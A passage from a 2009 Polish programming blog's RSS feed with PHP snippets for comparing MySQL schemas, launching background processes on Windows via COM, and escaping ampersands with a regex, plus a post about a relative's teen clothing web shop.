<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">class</span> table <span style="color: #009900;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$name</span><span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$definition</span><span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$create</span><span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">function</span> table<span style="color: #009900;">&#40;</span><span style="color: #000088;">$name</span><span style="color: #339933;">,</span> <span style="color: #000088;">$def</span><span style="color: #339933;">,</span> <span style="color: #000088;">$create</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">name</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$name</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">definition</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$def</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">create</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$create</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> compareDefinitions<span style="color: #009900;">&#40;</span><span style="color: #000088;">$defA</span><span style="color: #339933;">,</span> <span style="color: #000088;">$defB</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$defA</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$col</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$colDefA</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$defB</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'info'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&lt;span class='deleted'&gt;deleted &lt;/span&gt;&quot;</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'alter'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;drop column `&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$col</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;`&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
			<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">implode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">','</span><span style="color: #339933;">,</span><span style="color: #000088;">$colDefA</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #990000;">implode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">','</span><span style="color: #339933;">,</span><span style="color: #000088;">$defB</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
&nbsp;
				<span style="color: #990000;">list</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$typeA</span><span style="color: #339933;">,</span> <span style="color: #000088;">$nullA</span><span style="color: #339933;">,</span> <span style="color: #000088;">$keyA</span><span style="color: #339933;">,</span> <span style="color: #000088;">$defaultA</span><span style="color: #339933;">,</span> <span style="color: #000088;">$extraA</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$colDefA</span><span style="color: #339933;">;</span>
				<span style="color: #990000;">list</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$typeB</span><span style="color: #339933;">,</span> <span style="color: #000088;">$nullB</span><span style="color: #339933;">,</span> <span style="color: #000088;">$keyB</span><span style="color: #339933;">,</span> <span style="color: #000088;">$defaultB</span><span style="color: #339933;">,</span> <span style="color: #000088;">$extraB</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$defB</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$info</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$typeA</span> <span style="color: #339933;">!=</span> <span style="color: #000088;">$typeB</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$info</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;different type <span style="color: #006699; font-weight: bold;">$typeA</span>/<span style="color: #006699; font-weight: bold;">$typeB</span>, &quot;</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$nullA</span> <span style="color: #339933;">!=</span> <span style="color: #000088;">$nullB</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$info</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;null <span style="color: #006699; font-weight: bold;">$nullA</span>/<span style="color: #006699; font-weight: bold;">$nullB</span>, &quot;</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$keyA</span> <span style="color: #339933;">!=</span> <span style="color: #000088;">$keyB</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$info</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;key: <span style="color: #006699; font-weight: bold;">$keyA</span>/<span style="color: #006699; font-weight: bold;">$keyB</span>, &quot;</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$defaultA</span> <span style="color: #339933;">!=</span> <span style="color: #000088;">$defaultB</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$info</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;default: <span style="color: #006699; font-weight: bold;">$defaultA</span>/<span style="color: #006699; font-weight: bold;">$defaultB</span>, &quot;</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$extraA</span> <span style="color: #339933;">!=</span> <span style="color: #000088;">$extraB</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$info</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;extra: <span style="color: #006699; font-weight: bold;">$extraA</span>/<span style="color: #006699; font-weight: bold;">$extraB</span>, &quot;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'info'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #990000;">trim</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$info</span><span style="color: #339933;">,</span><span style="color: #0000ff;">', '</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'alter'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span>	<span style="color: #0000ff;">&quot;change `<span style="color: #006699; font-weight: bold;">$col</span>` `<span style="color: #006699; font-weight: bold;">$col</span>` <span style="color: #006699; font-weight: bold;">$typeA</span> &quot;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'alter'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.=</span>	<span style="color: #009900;">&#40;</span><span style="color: #000088;">$defaultA</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span> ? <span style="color: #0000ff;">''</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">&quot;default '<span style="color: #006699; font-weight: bold;">$defaultA</span>' &quot;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'alter'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.=</span>	<span style="color: #009900;">&#40;</span><span style="color: #000088;">$nullA</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'NO'</span><span style="color: #009900;">&#41;</span> ? <span style="color: #0000ff;">'NOT NULL '</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'alter'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.=</span>	<span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$extraA</span> &quot;</span><span style="color: #339933;">;</span>
&nbsp;
			<span style="color: #009900;">&#125;</span>
			<span style="color: #990000;">unset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$defB</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$defB</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$colB</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$colDefB</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #990000;">list</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$typeB</span><span style="color: #339933;">,</span> <span style="color: #000088;">$nullB</span><span style="color: #339933;">,</span> <span style="color: #000088;">$keyB</span><span style="color: #339933;">,</span> <span style="color: #000088;">$defaultB</span><span style="color: #339933;">,</span> <span style="color: #000088;">$extraB</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$colDefB</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$colB</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'info'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&lt;span class='added'&gt;added&lt;/span&gt;&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$colB</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'alter'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;add `<span style="color: #006699; font-weight: bold;">$colB</span>` <span style="color: #006699; font-weight: bold;">$typeB</span> &quot;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #000088;">$result</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> errors<span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #990000;">mysql_errno</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;: &quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">mysql_error</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span>
<span style="color: #339933;">&lt;/</span>body<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;/</span>html<span style="color: #339933;">&gt;</span></pre></div></div>

No Tag]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/09/26/porownywanie-baz-mysql-w-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>puścić coś w tle</title>
		<link>http://nobigwords.ntxt.net/2009/08/27/puscic-cos-w-tle/</link>
		<comments>http://nobigwords.ntxt.net/2009/08/27/puscic-cos-w-tle/#comments</comments>
		<pubDate>Thu, 27 Aug 2009 10:26:26 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[flex]]></category>
		<category><![CDATA[życie]]></category>
		<category><![CDATA[background]]></category>
		<category><![CDATA[cmd]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[monitoring]]></category>
		<category><![CDATA[monitorowanie]]></category>
		<category><![CDATA[portal]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[skrypt]]></category>
		<category><![CDATA[start]]></category>
		<category><![CDATA[tle]]></category>
		<category><![CDATA[tło]]></category>
		<category><![CDATA[uruchomić]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=260</guid>
		<description><![CDATA[Chcę móc uruchomić proces w tle za pomocą przeglądarki. Docelowo wszystko będzie działać na linkuksie, ale do testów przydałoby się to mieć u siebie. W linkuksie wiem. costam &#038; uruchamia proces w tle, potem fajnie mogę sobie zarządzać jobs . Ale ja chcę w Windows. Windows Vista, żeby nie było niedomówień. Wywołanie komendy przez exec [...]]]></description>
			<content:encoded><![CDATA[<p>Chcę móc uruchomić proces w tle za pomocą przeglądarki. Docelowo wszystko będzie działać na linkuksie, ale do testów przydałoby się to mieć u siebie. W linkuksie wiem.
<pre>costam &#038;</pre>
<p> uruchamia proces w tle, potem fajnie mogę sobie zarządzać
<pre>jobs</pre>
<p>. Ale ja chcę w Windows. Windows Vista, żeby nie było niedomówień. Wywołanie komendy przez <i>exec</i> działa, ale czeka na zakończenie, a nie o to chodzi. Proces ma działać długo, a ja tylko chcę monitorować jego stan, a nie zamulać Firefoksa.</p>
<pre>
exec("start /b c:/sciezka_do_php/php.exe C:/sciezka_do_skryptu_procesu/bgproces.php > test.txt");
</pre>
<p>Próbowałem też uruchomić jakiś batch (costam.bat), który z kolei miałby uruchomić skrypt PHP, ale to też nie zadziałało &#8211; cały czas przeglądarka czekała na zakończenie całego procesu. Rozwiązanie jest takie, że w PHP na Windows trzeba użyć klasy COM, czyli windowsowych mechanizmów OLE (Object Linking and Embedding). Wygląda to tak:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
<span style="color: #666666; font-style: italic;">/*
 * skrypt do uruchomienia w tle skryptTla.php
 */</span>
<span style="color: #000088;">$fname</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'c:/log.html'</span><span style="color: #339933;">;</span> 
<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span><span style="color: #cc66cc;">10</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #990000;">sleep</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">file_put_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fname</span><span style="color: #339933;">,</span> <span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'H:i:s'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&lt;br/&gt;'</span><span style="color: #339933;">,</span> FILE_APPEND<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #990000;">file_put_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fname</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'&lt;hr /&gt;'</span><span style="color: #339933;">,</span> FILE_APPEND<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
<span style="color: #009933; font-style: italic;">/**
 * skrypt widziany przez przeglądarkę
 */</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;uruchamiam &quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'H:i:s '</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'PWD'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
  	<span style="color: #666666; font-style: italic;">// $cmd = '....';</span>
    <span style="color: #000088;">$nullResult</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;php <span style="color: #006699; font-weight: bold;">$cmd</span> &gt; /dev/null &amp;&quot;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$cmd</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'sciezka_do_php/php.exe sciezkaSkryptuDoUruchomieniaWTle/skryptTla.php'</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$ws</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> COM<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;WScript.Shell&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$oExec</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$ws</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">Run</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cmd</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot; koniec &quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'H:i:s '</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot; OK &quot;</span><span style="color: #339933;">;</span>
&nbsp;
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

No Tag]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/08/27/puscic-cos-w-tle/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jak sprytnie zamienić &amp; na &amp; amp;?</title>
		<link>http://nobigwords.ntxt.net/2009/07/22/jak-sprytnie-zamienic/</link>
		<comments>http://nobigwords.ntxt.net/2009/07/22/jak-sprytnie-zamienic/#comments</comments>
		<pubDate>Wed, 22 Jul 2009 14:39:23 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[& & znaczek and]]></category>
		<category><![CDATA[ampersand]]></category>
		<category><![CDATA[entities]]></category>
		<category><![CDATA[entycje]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[kodowanie]]></category>
		<category><![CDATA[preg_replace]]></category>
		<category><![CDATA[programowanie]]></category>
		<category><![CDATA[regexp]]></category>
		<category><![CDATA[tekst]]></category>
		<category><![CDATA[wyrażenia regularne]]></category>
		<category><![CDATA[xml]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=237</guid>
		<description><![CDATA[Zdarza się, że w tekstach jakie przygotowujemy do wyświetlania na stronach WWW część tzw. entycji jest już zakodowana poprawnie, a część nie. Mnie zdarzyło się tak ze znaczkiem &#38;, który normalnie powinien w XMLu i XHTMLu być kodowany jako &#38;amp; Niektóre ampersandy były zakodowane, ale większość pozostała w formie &#8220;wizualnej&#8221;, czyli jednego znaku. Parser XMLa [...]]]></description>
			<content:encoded><![CDATA[<p>Zdarza się, że w tekstach jakie przygotowujemy do wyświetlania na stronach WWW część tzw. entycji jest już zakodowana poprawnie, a część nie. Mnie zdarzyło się tak ze znaczkiem &amp;, który normalnie powinien w XMLu i XHTMLu być kodowany jako &amp;amp; Niektóre ampersandy były zakodowane, ale większość pozostała w formie &#8220;wizualnej&#8221;, czyli jednego znaku. Parser XMLa tego nie lubi. Ja nie lubię dłubania. Lubię za to wyrażenia regularne, więc takim oto krótkim poleceniem zamieniam wszystkie nieprawidłowo zakodowane &#8216;&amp;&#8217; na prawidłowe &#8216;&amp;amp;&#8217;, pozostawiając bez zmian te dobrze zapisane:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$tekst</span> <span style="color: #339933;">=</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/&amp;(?!amp;)/'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'&amp;amp;'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$tekst</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>W wyrażeniu regularnym użyłem <em>przewidywania</em> czyli poprosiłem o takie pasujące fragmenty, po których nie następuje ciąg &#8220;amp;&#8221;. Proste.</p>
<p><em>Przy okazji okazało się, że wordpress ma problem z zapisaniem &amp;amp; w tytule posta&#8230; :)</em></p>
No Tag]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/07/22/jak-sprytnie-zamienic/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nikita Chickita</title>
		<link>http://nobigwords.ntxt.net/2009/06/19/nikita-chickita/</link>
		<comments>http://nobigwords.ntxt.net/2009/06/19/nikita-chickita/#comments</comments>
		<pubDate>Fri, 19 Jun 2009 20:29:36 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[e-commerce]]></category>
		<category><![CDATA[moda]]></category>
		<category><![CDATA[ntxt.net]]></category>
		<category><![CDATA[reklama]]></category>
		<category><![CDATA[życie]]></category>
		<category><![CDATA[chickita]]></category>
		<category><![CDATA[ciuchy]]></category>
		<category><![CDATA[ciuchy dla dziewczyn]]></category>
		<category><![CDATA[dziewczyn]]></category>
		<category><![CDATA[electric]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[les ettes]]></category>
		<category><![CDATA[marketing]]></category>
		<category><![CDATA[nastolatki]]></category>
		<category><![CDATA[nikita]]></category>
		<category><![CDATA[nixon]]></category>
		<category><![CDATA[opinie]]></category>
		<category><![CDATA[portal]]></category>
		<category><![CDATA[praca]]></category>
		<category><![CDATA[rusty]]></category>
		<category><![CDATA[sprzedaż]]></category>
		<category><![CDATA[strona]]></category>
		<category><![CDATA[vans]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/2009/06/19/nikita-chickita/</guid>
		<description><![CDATA[A także Electric, Etnies, Les Ettes, Nixon, Rusty, Sheroll, Vans, Vestal i inne&#8230; Właśnie przechodzę szybką edukację w dziedzinie marek odzieżowych dla nastolatek, a to dzięki sklepowi chickitashop.com, który pomagam ustawić w odpowiednim miejscu internetu :) Prowadzi go moja Kuzynka, więc pewni politycy nazwaliby to układem. Ale fajnie jest zająć się zupełnie inną branżą i [...]]]></description>
			<content:encoded><![CDATA[<p>A także <a href="http://chickitashop.com/electric-m-7.html">Electric</a>, <a href="http://chickitashop.com/etnies-m-9.html">Etnies</a>, <a href="http://chickitashop.com/les-ettes-m-6.html">Les Ettes</a>, <a href="http://chickitashop.com/nixon-m-5.html">Nixon</a>, <a href="http://chickitashop.com/rusty-m-12.html">Rusty</a>, <a href="http://chickitashop.com/sheroll-m-3.html">Sheroll</a>, <a href="http://chickitashop.com/vans-m-2.html">Vans</a>, <a href="http://chickitashop.com/vestal-m-11.html">Vestal</a> i inne&#8230; Właśnie przechodzę szybką edukację w dziedzinie marek odzieżowych dla nastolatek, a to dzięki sklepowi chickitashop.com, który pomagam ustawić w odpowiednim miejscu internetu :) Prowadzi go moja Kuzynka, więc pewni politycy nazwaliby to układem. Ale fajnie jest zająć się zupełnie inną branżą i poobserwować &mdash; całkiem imponujący &mdash; ruch na stronie.<br />
<div id="a1" class="wp-caption alignnone" style="width: 630px"><a href="http://www.chickitashop.com"><img alt="Strona główna sklepu z odzieżą dla nastolatek, chickitashop.com" src="http://nobigwords.ntxt.net/wp-content/uploads/2009/06/chickitashop_glowna.jpg" title="Strona główna sklepu z odzieżą dla nastolatek, chickitashop.com" width="620"  /></a><p class="wp-caption-text">Strona główna sklepu z odzieżą dla nastolatek, chickitashop.com</p></div></p>
<p>W tej chwili sklep bazuje na opensourcowym oscGold, czyli polskiej adaptacji osCommerce. Jednak pomimo że to ogromny projekt i faktycznie pozwala dość prostymi środkami uruchomić i prowadzić sprzedaż, to czytelność kodu i jego styl przypominają mi własne produkty&#8230; sprzed pięciu lat. Domyślam się, że refaktoryzacja tak dużego przedsięwzięcia to niełatwa rzecz i pewnie dlatego pełno tu stałych i zmiennych globalnych, dziesiątek &#8216;includowanych&#8217; plików, mieszania layoutu i logiki. Kusi, żeby zrobić wszystko od nowa&#8230;</p>
<div id="a1" class="wp-caption alignnone" style="width: 630px"><a href="http://www.chickitashop.com"><img alt="Kod jednej z podstron" src="http://nobigwords.ntxt.net/wp-content/uploads/2009/06/chickitashop_kod.jpg" title="Strona główna sklepu z odzieżą dla nastolatek, chickitashop.com" width="620"  /></a><p class="wp-caption-text">Kod jednej z podstron</p></div>
No Tag]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/06/19/nikita-chickita/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Luksusowe ceny</title>
		<link>http://nobigwords.ntxt.net/2009/06/07/luksusowe-ceny/</link>
		<comments>http://nobigwords.ntxt.net/2009/06/07/luksusowe-ceny/#comments</comments>
		<pubDate>Sun, 07 Jun 2009 11:42:22 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[ntxt.net]]></category>
		<category><![CDATA[reklama]]></category>
		<category><![CDATA[rynek]]></category>
		<category><![CDATA[CMS]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[luksusowe apartamenty]]></category>
		<category><![CDATA[luksusowe mieszkania]]></category>
		<category><![CDATA[luksusowe rezydencje]]></category>
		<category><![CDATA[ntxt]]></category>
		<category><![CDATA[rezydencje]]></category>
		<category><![CDATA[rezydencje na sprzedaż]]></category>
		<category><![CDATA[rynek mieszkaniowy]]></category>
		<category><![CDATA[savills]]></category>
		<category><![CDATA[savills-residential]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[sprzedaż nieruchomości]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=208</guid>
